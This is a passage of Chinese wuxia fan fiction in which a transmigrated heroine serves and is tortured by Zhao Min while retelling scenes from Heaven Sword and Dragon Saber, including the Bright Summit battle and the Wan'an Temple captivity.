她如今的武功已高过师傅甚多,想要不被师傅发现亦非难事。她将身上的包袱放下,放置在墓门前,用一个石头压着。
“莫愁?”一声惊讶的呼唤打破了寂静,这冷漠的声音带着一丝颤抖,云灵知晓是师傅来了,当下,她不敢停留,施展轻功极速而去。
“莫愁,逆徒,你要去哪里?”一个素色道袍的女子,满脸冷峻,见云灵脚步不停,此刻又气又怒。
云灵轻功奇幻,很快甩开了追来的师傅。再停下时,她的双眼已布满泪水,她跪地对着古墓的方向,重重的磕了几个头,随后,再无丝毫停留,转身向山下极速行去。
云灵不属于这个世界,她也不会适应古墓的生活。她一直想的,是回到岭南,也不想涉足什么江湖恩怨。如今她见到了师傅,再无挂念,下山之后,为免师傅追来,她连夜带着洪凌波往岭南的方向疾行。
那包袱里,除了衣物、干果、饰品、一封信之外,暮云还留下了五万两纹银的银票,就当报答师傅的养育之恩与教导之恩。
这一生,或者生生世世,她都会记得祖师婆婆,记得师傅,无论她身在何处,都会以古墓派弟子为荣,为古墓派而骄傲。
云灵趁夜离开了,她不知晓师傅几乎将整个终南山翻遍,就为了将她带回古墓。
这一生,云灵带着洪凌波居于岭南桂林,不曾再踏足江湖,但云灵每年都会长途跋涉,在祖师婆婆诞辰之时,准备许多礼物放在古墓门前,随同的,还有一封信,诉说着她的生活,与关怀师傅的话语。
在这个世界里,杨过并没有像原著那样遇到郭靖,没有成为全真教的弟子,也没有遇到小龙女。他的命运在流浪中早早结束,没有成为神雕大侠。
程英与陆无双,没有遭受灭门之祸,平安长大,并选择了彼此,隐居于江湖之中。郭襄则拜入金轮法王门下,身怀九阴真经、龙象般若掌,最终创立了峨眉派,成为一代宗师。
至于其他人,命运并未有所更改。
郭靖、黄蓉以及他们的子女,在襄阳城的守卫战中壮烈牺牲。
蒙古大军则长驱直入,主宰了天下。
8. 赵敏世界
月色皎洁,马蹄声在夜的寂静中回荡。一行人影缓缓行来,为首者是一位年轻公子,身着宝蓝绸衫,气度不凡。他眉目如画,双眸璀璨如星,手中折扇白玉为柄,那握扇之手,白皙胜雪。
“此番六大门派围攻光明顶,务必要一举成擒,以显我大元之威。”年轻公子轻声吩咐,声音虽娇嫩,却透着一股不容置疑的决断。
随从们齐声应诺,声如洪钟:“公子放心,我等已布下天罗地网,谅他们插翅难逃。”
年轻公子轻哼一声,道:“如此最好,否则本公子定不轻饶。”
话音未落,他突然警觉地喝问:“何人在此?”
月光下,一道清脆的少女声音传来:“此路是我开,此树是我栽,留下买路财!”
年轻公子定睛一看,只见一位少女身着草裙与草编织的束胸,不由嗤笑道:“打劫也不穿身像样的衣服,难道看上了本公子,想要投怀送抱?”
少女面颊飞红,好在夜色中不甚明显,她指着年轻公子,喝道:“谁会看上你这丑八怪,把衣服交出来!”
年轻公子脸色一沉,这是他生平第一次被人称为丑八怪。他冷声对身后的随从吩咐:“阿二,将她拿下,不必留情。”
少女闻言,瞥见那阿二身形枯瘦,身材略矮,头顶心滑不留发,秃得光亮可鉴,两边太阳穴深陷,显然内功深厚到了极点。
阿二自马背一跃而下,几个箭步冲上前去,运起金刚伏魔掌,掌风如刀,直朝少女拍去。这一掌若是拍实了,便是铁打的汉子也难逃筋骨断裂之苦。
然而,年轻公子却见那少女身法奇幻,犹如鬼魅,轻而易举地避开了这威猛的一掌。阿二连拍数十掌,却连少女的汗毛都未曾触及。
年轻公子眉头微蹙,心中暗忖:“这阿二乃是除了玄冥二老、苦师傅、阿大之外,武功最为高强之人,今日怎对这少女束手无策?”
他手持折扇,头也不回地吩咐道:“阿三,你去助阿二一臂之力。”
年轻公子身后的阿三闻言,立刻跳下马来,身形如箭,向少女疾冲而去。他是阿二的师弟,一手大力金刚指威力惊人,寻常武者难以匹敌。
然而,即便二人联手,少女依旧身形飘忽,忽左忽右,不时挥掌拍向阿二阿三,将他们逼得怒气冲冲,却无计可施。
突然,少女身形一变,主动发起攻势。她的掌拳连绵不绝;她的步法如幽冥鬼魅。阿二阿三虽联手,却只能看见拳影掌风,宛如置身惊涛骇浪之中,无法脱身。
“啪啪嘭!”数声闷响过后,阿二和阿三如同断线风筝般倒飞出去,摔在地上,鼻青脸肿,痛彻心扉。这还是他们生平第一次遇到如此高手,竟然毫无还手之力,这对他们来说,无疑是前所未有的奇耻大辱。
年轻公子见手下失利,轻轻一挥手,身后八骑随即在马上张弓搭箭,瞄准了那少女。
这八人乃是蒙古箭术中的顶尖高手,号称神箭八雄,汗名依次为:赵一伤、钱二败、孙三毁、李四摧、周五输、吴六破、郑七灭、王八衰。他们的箭术既快且准,号称箭无虚发。
八只利箭破空而出,犹如流星赶月,直射那少女。箭矢似乎有灵性,疾如闪电,四箭封住了少女的上下左右,另外四箭则瞄准了她的要害。
少女眼神微凛,知晓自己面对的是箭术中的高手。她轻功一展,身形如同幻影,以不可思议的鬼魅避开了这八箭。
年轻公子心中也是一惊,能躲过神箭八雄联手一击的高手,他至今未曾得见,而眼前这位少女……
他还在思索对策,神箭八雄的第二轮箭雨已至,依旧是上下左右四路封死,攻向她的头颅与要害。
少女那如鬼魅般的轻功再次展现,轻松避过箭雨,随即抢先一步,施展出连绵不绝的掌拳。她的攻势如同行云流水,将那马上的八人一一击落。原来这八人虽箭术了得,近战却是平平,根本挡不住少女的凌厉攻势。
少女一掌拍出,掌风凛冽,直指马上的年轻公子,意欲将其击落马下。
阿二、阿三与神箭八雄见状,目露惊骇,却已救援不及。
然而,年轻公子面对这突如其来的攻势,却不见慌乱,折扇轻点,口中喝道:“停!”
少女真会听他的话吗?出乎意料,她竟然真的停下了手,收势跃开,轻盈地落在一丈之外。
年轻公子见少女停手,轻哼一声,道:“罢了,罢了,本公子的手下无人是你的对手。”随即他指向阿二,吩咐道:“取一套干净的衣裳,给这位姑娘换上。
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阿二不敢违命,从马背上的包袱中取出一套男子装束,递给了少女。
少女步入树林更衣,再出来时,已换上了一身整洁的衣衫。年轻公子依旧端坐马上,周围手下严密护卫,以防不测。
“姑娘师承何门何派?若愿随我,保你一世荣华。”年轻公子直截了当地问道。
少女见年轻公子衣着华贵,知其出身非凡,但她对金银财宝并不动心,婉拒道:“多谢公子美意,但在下并无此意。至于师承,恕难相告。”
年轻公子见她拒绝,也不以为忤,道:“在下赵敏,江湖路远,或许他日有缘再见。姑娘如何称呼?”
少女听闻“赵敏”二字,不禁惊呼:“你是赵敏?蒙古群主敏敏特穆尔?”
赵敏眼神一凛,如霜雪般冷冽,问道:“你是如何知晓我身份的?速速道来!”
原来,年轻公子正是蒙古汝阳王之女,敏敏特穆尔,大元郡主。她近日取了汉名“赵敏”,此事极为隐秘,除了亲信,无人得知,这少女又是如何得知的?
而这位少女正是云灵,她寿终正寝以后,本以为会归于黄泉,没想到她死后回归了盈盈十五的少女模样,而她的身体,也是她本来的身体。
她在山林内待了五年,今夜出了山林,本欲趁着夜色朦胧,打劫一套衣物,却不料误打误撞地招惹了蒙古郡主赵敏。她心中一紧,面上却只能勉强挤出一丝笑意,道:“我是听来的,郡主你可信我?”
赵敏目光如电,扫过云灵那娇小的身姿,她穿着不合身的男子衣物,显得有些滑稽可笑,不禁嗤之以鼻:“你以为我是三岁孩童,会信你这番胡言乱语?”
“本郡主现下怀疑你是潜藏的奸细,在你证明自己清白之前,须随我而行。阿二,速为这位姑娘备马。”赵敏的声音中带着不容置疑的威严,命令道。
云灵心中暗自叫苦,却也只能无奈地喊冤:“郡主娘娘,我真是无辜的!”
“无辜与否,待我查明真相再说。”赵敏语气冷淡,她必须先查清这少女的来历,若是奸细,自当除去;若非奸细,或许还能收为己用。
云灵心中无奈,面对鼎鼎大名的赵敏,她不敢轻举妄动。况且赵敏并未伤害到她,她便决定暂且跟随。
9. 赵敏世界
光明顶下,战云密布,杀气腾腾。
“郡主,我等已布下天罗地网,随时可攻上光明顶。”一位蒙古将军见赵敏率众而来,急忙上前行礼禀报。
将军身旁,立着两位五十上下、身材高瘦的老者,云灵一瞥之下便知二人内功深厚,非同小可。
“不急,光明顶地势险要,易守难攻。可待敌自乱阵脚,再一举擒之,免得我蒙古勇士无谓牺牲。”赵敏沉吟片刻,缓缓道。
“遵命!”将军与众手下齐声应诺,声势震天。
赵敏微微颔首,下令道:“尔等在山下隐匿,阿大、阿二,云灵,随本郡主上山!”
此言一出,众手下与将军纷纷劝阻,七嘴八舌道:“郡主三思,那些江湖人士皆是反贼,郡主若上山,岂不置身险境?”
“郡主,汗人对我等恨之入骨,还请郡主娘娘深思熟虑。”
赵敏折扇一收,柳眉倒竖,哼道:“我是郡主还是你们是郡主?本郡主做事,何须尔等多言?”
“郡主……”
那位手下话音未落,赵敏已是美目一瞪,冷冷道:“再多言,割舌示众。”
众手下噤若寒蝉,不敢再有异议。赵敏带着阿二、阿三与云灵,径直向光明顶而去,意欲观其虚实。
赵敏一行人走后,神箭八雄担忧云灵会对赵敏不利,连忙请玄冥二老暗中跟随,以保郡主周全。
******
光明顶上,此刻激斗正酣。
明教原本内乱,却不料半路杀出个少年英雄,名叫张无忌,身怀九阳神功与乾坤大挪移之绝技,独斗群雄,竟将明教逼至绝境的危机一一化解。
云灵凝神望去,见那张无忌人模狗样,与她记忆中的陆展元相比,亦是毫不相让。然而,陆展元敢做敢当,张无忌却常显得优柔寡断,辜负了不少红颜知己,甚至妄想坐拥群芳,云灵心中对他颇有微词。
她只是匆匆一瞥,便不再关注张无忌,这等人物,尚不足以令她注意。她的目光转而巡视光明顶上群雄,最终落在峨眉派所在之地。那里有一位容颜绝世、清丽秀雅的少女,身着葱绿衣裳,年纪约莫十六七岁,与赵敏相比,亦是不遑多让,只是少了几分英气。
“那位姑娘,想必就是周芷若了吧?”云灵低声自语。
赵敏何等聪明,自然察觉到暮云的异样,她顺着云灵的目光望去,也见到了周芷若,随即回头,带着几分戏谑道:“云姑娘,莫非有魔镜之好,竟对那美貌女子如此着迷?”
赵敏生于大元,贵为郡主,性格向来豪放直率,言谈间无所顾忌。这话说得云灵面红耳赤,连忙辩解道:“郡主娘娘,我并无此意,只是赞她貌美。”
“喔?是无此意,还是不敢有此心?你若真喜欢,她日我便将她许配于你,只要你忠心为我效力。”赵敏半真半假地说道。
“啊!郡主娘娘,我何时说过喜欢她?我何时答应过替您做事?”云灵又羞又急,反驳道。
赵敏轻哼一声,似笑非笑:“你心里清楚。”
赵敏话锋一转,眼含笑意,问道:“我和那姑娘,谁更美?”她眼神中透出的锐利,让云灵心惊胆颤。
云灵首次遇到这等比较,还是同是女子之间,她不加思索,脱口而出:“自然是郡主最美!”
赵敏显然并不满足于此,追问道:“如何见得?”
云灵机智应对:“郡主之美,犹如盛放玫瑰,艳丽夺目;周姑娘之美,好比含苞待放的蓓蕾,含蓄温婉。若论风华绝代,自是郡主更胜一筹。”
赵敏这才轻哼一声,满意地转回头,继续关注光明顶上的激战,不再与云灵多言。
只见此时,张无忌已连败群雄,正与峨眉派的灭绝师太斗得难解难分。灭绝师太长剑如电,直指张无忌后心。张无忌听到背后风声,只得回身挥刀抵挡。一声金铁交鸣,宝刀又断,灭绝师太的长剑紧随而至。
张无忌临危不乱,反手运劲,掷出半截宝刀,这一掷凝聚了他九成的内力。灭绝师太气息一窒,不敢硬接,只得伏地闪避。半截宝刀掠过她头顶,劲风刮得她面颊生疼。
张无忌趁机抢攻,右手探出,一掌拍出。灭绝师太举剑削他手腕,张无忌却忽变招式,巧妙地将倚天剑夺了过来。
这一招刚柔并济,正是乾坤大挪移心法的高深境界。灭绝师太虽武功高强,却也难以抵挡这突如其来的转变。
张无忌得剑后,不敢有丝毫大意,以倚天剑指住灭绝师太咽喉,缓缓退开两步,以防她再出奇招。
周芷若在张无忌怀中挣扎,轻声道:“快放我下来!”张无忌一惊,连忙松手,脸上不由自主地泛起红晕,不经意间闻到周芷若身上的淡淡幽香,心中微荡。
赵敏见状,揶揄道:“看,你的美人儿在那位少年英雄的怀中呢。”
云灵急忙否认:“周姑娘与我无关,无关。”
赵敏目光如炬,问道:“你如何知道她就是周芷若?”
云灵自知失言,连忙转移话题:“郡主娘娘,今日天气……”
赵敏抬头望向阴沉的天空,心知云灵已紧张得语无伦次,她心中暗道:“不急,迟早要你一一招来。”
云灵见赵敏放了她一马,暗暗叫苦,赵敏聪慧无双,自己说漏了两次嘴,今后该怎么化解呢?
不论她如何否认,赵敏的怀疑已经深深扎根,内心已有数种手段,打算应用在云灵身上,不怕她不交待。
此时的光明顶上,灭绝师太缓缓站直身子,一言不发,目光在周芷若与张无忌之间来回扫视,脸色愈发阴沉。
张无忌剑尖倒转,递向周芷若,道:“周姑娘,贵派的宝剑,请转交尊师。”
周芷若望向师父,只见灭绝师太面无表情,不发一言。她心中一紧,念头纷至沓来:“今日之事,已然难以收拾,张公子如此对我,师父定会误会我与他有私情,从此我便成了峨眉弃徒,武林唾弃。天下之大,我将何去何存?张公子对我有恩,但我绝无背叛师门之心。”忽听得灭绝师太冷冷下令:“芷若,一剑杀了他!”
周芷若曾在张三丰引荐下,投入灭绝师太门下。她天资聪颖,加之自幼父母双亡,刻苦练功,深得师父喜爱。七年多来,师父的教诲对她而言便是金科玉律,从未有过违逆之念。此刻听到师父突如其来的命令,她不及多想,接过倚天剑,便向张无忌刺去。
“叮!”
一声清脆,众人只见周芷若手中倚天剑已不翼而飞,张无忌也逃过一劫。
在灭绝师太输阵之前,赵敏对云灵道:“去,会会那少年英雄。”
云灵虽对张无忌无甚好感,却也疑惑,问道:“郡主娘娘,为何要我去与他交手?”
“蠢!他夺走了你的美人,你不去讨个说法?”赵敏用折扇敲云灵的头,似真似假地责怪。
云灵无奈:“郡主娘娘,我与周姑娘真的无关。”
“有无关系,去与那少年英雄过过招,也好证明你非内奸。”赵敏道。
云灵心中无语,自己本非内奸,何需证明?但她也正想借此机会,教训一下张无忌这个负心人。在赵敏的再三催促下,云灵终于施展轻功,往光明顶疾射而去。
就在周芷若剑尖即将触及张无忌胸膛之际,云灵挥手射出一枚冰魄银针,将倚天剑击飞。她此举非为救张无忌,而是要亲自与他对战,若与受伤之人交手,岂非胜之不武?
灭绝师太见这千钧一发之际被人横插一手,怒喝道:“何方鼠辈?胆敢破坏六大门派剿灭魔教的大事?”
张无忌心中亦是惊疑不定:“这暗器手法之精准,内力之深厚,绝不在我之下,不知是哪位高人出手相助?”
正当各大门派议论声起,情绪激昂之际,一位姿容无暇的女子从人群中缓步走出,她声音清灵,清晰传入每个人耳中:“诸位英雄,小女子无意介入六大门派与明教的恩怨,只是欲与这位少侠一较高下。”
张无忌见她美貌不输周芷若,一时竟看呆了。
灭绝师太也未料到这年轻女子竟有如此武功,心中暗自
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惊叹:“江湖代有才人出,若此女在我峨眉门下,峨眉派声势如何超不过武当少林?”
云灵步态从容,走到张无忌面前,见他如此神情,心中不悦,道:“张少侠,请赐教!”她声音中带着内力,将张无忌从失神中唤醒。
张无忌回过神来,尴尬拒绝:“姑娘救命之恩,无忌无以为报,岂敢与姑娘动手?”
“张少侠何必过谦?你武功盖世,那峨眉派的周姑娘岂能伤你?莫非你们之间有旧?”云灵言辞尖锐,直指要害。
“姑娘误会了,我与周姑娘并无瓜葛。”张无忌急忙辩解,生怕灭绝师太因此对周芷若有所责难。
“你撒谎!”周芷若情绪激动,忍不住出声。
灭绝师太见状,心中已猜得八九不离十,她面若寒霜,断喝道:“芷若,退下。”
“无论是否有旧,张少侠,请接招!”云灵不愿多言,身形一晃,轻功展开,拳掌连绵而出,直击张无忌。
光明顶上众人见她轻功如此了得,拳掌如风,无不惊叹。她的出现,让本已惊才绝艳的张无忌略显星光黯淡。
众人心中也难免有些失落。原本张无忌的出现已让他们感叹江湖后起之秀层出不穷,如今竟又出现一个武功高强的少女。
只见那张无忌与云灵已交手多时,越战他越是心惊。起初他本想手下留情,却不料云灵武功之高,远出他意料,逼得他不得不全力以赴。他的乾坤大挪移,在这神秘女子面前,似乎全无用武之地。
云灵的天罗地网式,以轻灵飘逸著称,出招如电,奇幻鬼魅。张无忌的乾坤大挪移即便能牵引一招,随即又是数招攻来,令他防不胜防。
在场的六大门派与明教高手,多数只能见到云灵身影如鬼魅般忽左忽右,拳脚如风,让人眼花缭乱。而张无忌则显得异常被动,被逼得步步后退,令明教众人焦急万分。若是张无忌败下阵来,明教的处境将更加岌岌可危。
转眼间,两人已斗至百多招。张无忌虽无甚武斗经验,靠着九阳神功在身,方得支撑至今。然而,云灵拳脚不断落在他身上要害,终于使他口吐鲜血,瘫坐在地,败局已定。
“你输了!”云灵语气清冷,不带一丝波动,说罢转身便离开战场。
“杀啊!剿灭魔教!”不知是谁带头呼喊,六大门派及丐帮等众纷纷响应,一时间光明顶上乱作一团,誓要将明教一网打尽。
赵敏见状,唇边露出一抹娇笑。待云灵返回,她赞道:“做得好,你已证明了自己的清白。”
“郡主娘娘,我本就非内奸。”云灵反驳。
“传令下去,半个时辰后,全面围剿光明顶,一个不留!”赵敏对阿二下令道。
阿二领命而去,连忙下山安排元兵。
“今日之战,你当记首功。”赵敏对云灵夸赞道。
******
光明顶上,战火连天,各大门派与明教的弟子们激战正酣,整个山顶化作一片血火战场。喊杀声、痛呼声交织成一片,震耳欲聋,令人心惊胆战。
待到半个时辰过后,双方皆已筋疲力尽,元气大伤之际,元兵如同猛虎下山,攻上光明顶,箭如雨下,毫不留情地射杀着每一位江湖人士。
这些元兵皆是身经百战的精锐,弓箭手轮番射击,每一轮箭雨都带走无数生命。随后,步兵执盾持矛,排成严密的阵型,一步步向前推进,势不可挡。
在这般军阵面前,即便是武功高强者也感到了无力,除非拥有传说中阿青姑娘那般惊世骇俗的武艺,否则在这如林的刀枪与如雨的箭矢之下,唯有任人宰割的份。
直到此刻,众门派与明教的人才深刻体会到,个人武艺在军阵面前是何等的微不足道。他们只能眼睁睁地看着元兵的屠刀挥下,却无力回天。
赵敏站在高处,俯瞰着下方的战局,见江湖人士节节败退,败局已定,她的心情却颇为愉悦。她转头看向云灵,却见她神色淡然,对于眼前的惨状似乎并不在意,无悲无喜,无恨无怨,仿佛这一切都与她无关。
10. 赵敏世界
元兵攻上光明顶,虽屠杀了无数门派弟子,却未能捕获明教的高层。这让赵敏郡主大为光火。
她设下绿流山庄陷阱,又派手下血洗各大门派,直至武当山下,赶来的少年英雄张无忌神功盖世,令赵敏束手无策,只能先行撤退。
帝都,汝阳王府。
赵敏归来,怒气冲冲,心中暗恨:“张无忌,他日必将你剥皮抽筋,以泄我心头之恨!”随后,她转身问向阿二:“云灵如今怎样了?”
阿二答道:“郡主娘娘,我们已施以多种刑罚,云姑娘已是奄奄一息,若再施刑,只怕她性命难保。”
“嗯,我自会处理。”赵敏淡淡道,“稍后我亲自去见她。”
赵敏自光明顶归来,使计让云灵中了十香软筋散,此药无色无味,纵是武功盖世,无解药亦难自拔。
赵敏对云灵颇为喜爱,她武功高强,又颇为听话,但心中疑虑重重:她如何得知自己汗名?又如何知晓峨眉派一个小弟子的名姓?这些疑问,令她不得不深究。
牢房内,云灵面无血色,遍体鳞伤,显然饱受折磨。
赵敏步入牢房,扶起云灵,喂了些水,抱怨道:“张无忌屡次坏我大事,实在可恨。”
云灵睁开疲惫的双眼,无力地看了赵敏一眼,声音嘶哑:“郡主娘娘,你用尽酷刑,难道就为了说这些?”
“自然不是。”赵敏吩咐道:“阿二,命侍女将云灵安置客房,这牢房岂是她该待的地方?”
云灵心中苦笑:“施刑的是你,作好人的也是你,你怎么不上天呢!”
阿二领命而去,不久,侍女们将云灵抬至客房。
赵敏命侍女端来一碗热粥,亲自扶起云灵,细心地垫好枕头,让她倚靠。赵敏轻轻吹凉粥,舀起一勺,递至云灵唇边。
然而,云灵却侧过头,拒绝进食。
赵敏脸色一沉,怒气冲冲地将碗摔在地上,斥责道:“云灵,本郡主亲自喂你,你竟敢不领情?这等待遇,连皇帝也未曾有过!”
赵敏自觉对云灵已是仁至义尽,若非为了对付张无忌,她何必如此委屈自己?
云灵叹息,赵敏的脾气实在难以捉摸。
她解释道:“郡主娘娘,我自幼食素,这肉粥,实在难以下咽。”
赵敏不等云灵说完,便命侍女按住她,强行撬开她的嘴。
侍女们不敢违抗,迅速上前,按住云灵的四肢,强行撬开她的双唇。赵敏端起肉粥,冷哼道:“你不吃,我偏要你吃。”
赵敏将粥强行灌入云灵口中,云灵坚决不吞。赵敏毫不犹豫地一掌击出,迫使云灵将粥咽下。
赵敏冷笑道:“本郡主的话,便是命令。你有何胆量,敢违抗本郡主的意志?”
待云灵进食后,赵敏命阿二去请太医。不久,太医匆匆而至,为云灵仔细诊断。
诊断完毕后,太医恭敬地向赵敏汇报:“郡主娘娘,云姑娘的外伤虽重,但她体质异常,休养一两月便可痊愈。然而,她身中奇毒,下官无能为力。”
赵敏闻言,神色不动,淡淡道:“无需解毒,只需开药方即可。”
太医领命,迅速开出药方,然后恭敬地退下。
太医离去后,赵敏正欲上前询问,却见云灵面容扭曲,似有难受之意。赵敏心中好奇,正欲开口,忽见云灵忍不住呕吐起来。赵敏大惊,连忙命侍女们上前伺候,自己则匆匆离开。
云灵自出生以来,第一次食荤,那恶心与难受的感觉让她无法忍受,终于忍不住吐了出来。
待侍女们将房间打扫干净,异味散尽之后,赵敏才再次踏入房间。这次,直截了当地问:“云灵,你是如何得知我汗名的?”
云灵眨了眨眼,狡辩回答:“我无意中猜到的。”
赵敏眉头一皱,捏住云灵的脖颈,冷哼道:“别装模作样,若你不从实招来,本郡主不介意将你置于死地。还有,你是如何得知峨眉派那小弟子的名姓的?”
云灵感到脖颈被赵敏捏得生疼,呼吸也变得困难。赵敏见她面色由红转紫,才缓缓松开了手。
云灵大口喘着气,面色渐渐恢复,她说道:“郡主娘娘若真想知道,我自当相告。只是,我怕真相太过惊人,郡主未必愿意接受。”
赵敏的好奇心更甚,她冷哼道:“说!”
云灵深吸一口气,缓缓开口:“我之所以能知你汗名,是因为……”
她将前世看过的电视剧《倚天屠龙记》的情节娓娓道来,虽然记忆模糊,但关键之处仍记得清楚。
赵敏听完,冷笑一声:“你这是编造了什么荒唐故事来哄骗我?”
云灵辩解:“天地良心,郡主娘娘,我所说的每一句都是真的!”面对赵敏的怀疑,她恨不得能拿出原著来证明。
赵敏嘲讽道:“按照你的说法,我大元不仅将退回蒙古,我还要与周芷若争夺张无忌?”
云灵点了点头,电视剧确实是这样演的。
赵敏怒不可遏,拔出倚天剑,剑尖直指云灵,怒喝:“你这妖言惑众,我怎会看上张无忌?我大元兵强马壮,怎会被逼出中原?”
话音未落,赵敏挥剑向云灵刺去。云灵却闭目一动不动,赵敏本意只是威胁,却见她如此从容,心中一惊,想要收剑,却已来不及。
“噗!”的一声,倚天剑刺入云灵左肩。赵敏扔下剑,急切地问:“你为何不躲?”
云灵苦笑道:“郡主娘娘若要杀我,有千万种方法,我又怎敢躲避?”
赵敏的怒气已然平息,她挥手示意侍女为云灵上药包扎。云灵的伤口被细心处理,赵敏的语气也柔和了许多。
"若真如你所说,我岂不是成了话本中的人物,而非真实存在?" 侍女包扎完毕后,赵敏带着一丝玩味问道。
云灵点头确认:"正是如此。"
赵敏冷哼一声,"我赵敏有血有肉,岂能是那些话本中虚构的人物?"
云灵没有直接回答:"我猜郡主娘娘,接下来是打算偷学各大门派的绝学吧?"
赵敏眼中闪过一丝光芒,"自然。这也是那电视剧中的情节吗?"
云灵肯定地点头。赵敏开始详细询问,每一个细节都不放过,直到云灵再也无法提供更多信息,她才满意地停止了追问。
"据你所言,这倚天剑与屠龙刀中隐藏着巨大的秘密?" 赵敏追问道。
"确实如此!"
赵敏沉吟片刻,"你还算识相。既然你非汗人,也非这个世界的人,我就暂时相信你。但今后,你要为我所用,不得有二心。" 她已经决定,要将云灵牢牢控制在手中,绝不能让她离开。
云灵轻叹一声,"郡主,我无意介入江湖纷争,只愿回到岭南隐居。"
"这已非你之前的世界,即使你去了岭南,也不再是你所在的时代。你还是安心留在我身边吧。" 赵敏毫不犹豫地拒绝了云灵。
赵敏给云灵服下了解药,她自信满满,相信云灵不会逃跑。云灵身上不仅有酷刑留下的外伤,还有倚天剑造成的剑伤,此时的她,身体虚弱至极,能往哪里逃?
“走,跟本郡主去安排一场好戏!”待云灵体内的毒素解除,赵敏笑意盈盈地说道。
赵敏带领云灵和随行众人直奔万安寺,去那里安排一场各大门派的绝技演练。她已知云灵所说的倚天屠龙记,自然是要安排个守株待兔,坐等张无忌上门。
但她要偷学各门派绝技也是真的。她虽有众多师傅,却无一肯教她内功,尽是外功。她野心勃勃,想尽学诸家门派之所长,以期成为一代高手。招数练到极精之时,确实可以弥补内力之不足。
聚合各门派高手,不肯演练的,手指被砍;肯演练的,输了同样要砍手指。短短时间,云灵亲眼所见,那些武林中人已经被砍下了数十根手指。
又一个门派弟子演武比试输了,被砍下手指后,赵敏的声音在大殿中回响:“叫灭绝师太来见我!”一名手下急忙回报:“灭绝师太已绝食五日,今日依旧倔强,不肯听命。”赵敏冷笑一声,“那就让她饿死也罢!去,把峨嵋派的周芷若姑娘请来。”
手下领命,匆匆退下。
不久,周芷若在一群手下的押送下走进大殿。云灵见她依旧清丽脱俗,只是比在光明顶时略显憔悴,尽管身陷囹圄,却依旧镇定自若,仿佛生死早已不在她心上。鹿杖客照例询问她是否愿意投降,周芷若只是摇头,一言不发。
赵敏注意到云灵的目光一直停留在周芷若身上,心中不悦,在鹿杖客准备安排比剑之时插话道:"周姑娘,你年纪轻轻便已是峨嵋派的杰出弟子,真是令人钦佩。听说你是灭绝师太的得意门生,深得她老人家剑法精髓,可有此事?"周芷若淡淡回应:"家师武功深不可测,我虽有幸得她传授,但比起她老人家的博大精深,我还差得远呢。"
赵敏笑道:"这里的规矩,只要能胜过我们三人,便可安然离开,绝无留难。不知尊师为何如此高傲,不屑与我们交流武学?"周芷若道:"家师宁死不辱,峨嵋派掌门岂能在你们这些卑鄙小人面前低头?正如你所言,她老人家确实不屑与你们这些阴险之辈动手。"
赵敏并未动怒,反而笑问:"那周姑娘你呢?"周芷若答道:"我一介女流,有何主张?师父之命,我自当遵从。"赵敏追问:"尊师是否也不许你与我们动手?"周芷若道:"峨嵋派的剑法虽非绝世无双,却也是中原武林的正宗武学,绝不能落入外邦胡虏之手,被无耻之徒偷学。"她语气平和,但言辞尖锐,毫不留情。
赵敏心中涌起一股怒气,她嗤笑一声,倚天剑已在手中,冷冷说道:“你师父说我们是无耻之徒。好极了!我倒要请教,这口倚天剑明明是我家传之宝,怎会被峨嵋派偷去?”周芷若依旧淡然回应:“倚
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天剑与屠龙刀,乃中原武林的两大神器,从未听说与外邦女子有何关联。”
赵敏面颊一红,怒气更盛:“哼!你口齿伶俐得紧。看来你是决意不肯出手了?”周芷若轻轻摇头。赵敏道:“其他人比武输了,或是不肯动手,我便截下他们一根指头。你这姑娘自负美貌,因而如此骄傲,我偏不截你的指头。”她向苦头陀一指,接着说:“我要让你和他一样,脸上留下数十道剑痕,看你还如何骄傲?”她左手一挥,两名手下立即上前,抓住周芷若的双臂。
赵敏微笑道:“要将你的花容月貌变成蜂窝,何需峨嵋派的精妙剑法?你以为我这三脚猫的功夫,就不能让你变成丑八怪吗?”周芷若眼中泪光闪烁,身体微颤,倚天剑的剑尖离她脸颊仅数寸之遥,赵敏手腕一动,她便将与那丑陋的头陀无异。赵敏笑问:“你怕不怕?”周芷若不敢再硬撑,点头承认。赵敏追问:“那么,你是愿意降服了?”周芷若坚决道:“我不降!你杀了我吧!”赵敏轻笑:“我从不杀人,只破相。”
寒光一闪,赵敏手中长剑直指周芷若的脸颊,突然一声清脆的响声,一件物体从殿外飞入,将倚天剑撞偏。与此同时,殿上的长窗破裂,一道身影破窗而入。那两名抓住周芷若的人被震飞出去。破窗而入之人迅速用左臂护住周芷若,右掌与鹿杖客硬碰一掌,两人各自退了两步。
来者正是明教教主——张无忌。他如天降神兵,即便是玄冥二老这样的顶尖高手,也未能事先察觉。鹿杖客听到长窗破裂之声,立刻跃至赵敏之前护卫,与张无忌硬拼了一掌。他身不由己地退了两步,正欲提气再战,却感到全身如焚,仿佛置身于熔炉之中。
周芷若本以为自己难逃此劫,却未料到会有人挺身而出相救。她被张无忌紧紧护在胸前,感受到他宽广坚实的胸膛,以及那股浓烈的男子气息,心中既惊又喜,一时间几乎要软倒在地。张无忌以九阳神功与鹿杖客的玄冥神掌相抗衡,真气激荡。周芷若从未与男子如此亲近,何况这男子还是她日夜思念的心上人?她心中涌起无尽的欢喜,即便四周敌人此刻齐攻,她也无所畏惧。
杨逍和韦一笑见教主冲入救人,也随即闪身而入,分立于张无忌身后左右。赵敏的手下高手们初时因变故而略显慌乱,但很快发现闯入殿中的只有三名敌人,殿内殿外的守卫武士迅速响应,封锁了所有出入口,静待赵敏的命令。
赵敏既不惊慌也不愤怒,她的目光转向殿角的两块金光闪闪的物体——原来是张无忌掷来的黄金盒子,撞开了她的倚天剑。倚天剑锋利无匹,一碰之下,金盒立刻被剖成两半。赵敏凝视着两半金盒,调侃道:“你如此厌恶这只盒子,非要它破损不可吗?”
张无忌一怔,感到颇为歉疚:“我身上未带暗器,情急之下随手摸到盒子,实非有意为之,还请姑娘见谅。”赵敏眼中闪过一丝狡黠,问道:“这盒子你一直带在身上?”张无忌答道:“是。”他见赵敏目光如炬,而自己左臂还搂着周芷若,脸上不禁一红,便缓缓松开了手臂。
赵敏轻声说道:"我若早知周姑娘与张教主关系匪浅,也不会对她如此。原来你们之间......"话未说完,她故作姿态,将头转向一旁。张无忌结巴道:"周姑娘与我......并无特别......只是......"他连说两个"只是",却再也接不下去。
赵敏再次转回头,目光落在那两半截金盒上,她没有说话,但眼神中却似传达了无尽的深意。周芷若心中一紧:"这魔女对张无忌显然情有独钟,难道......"
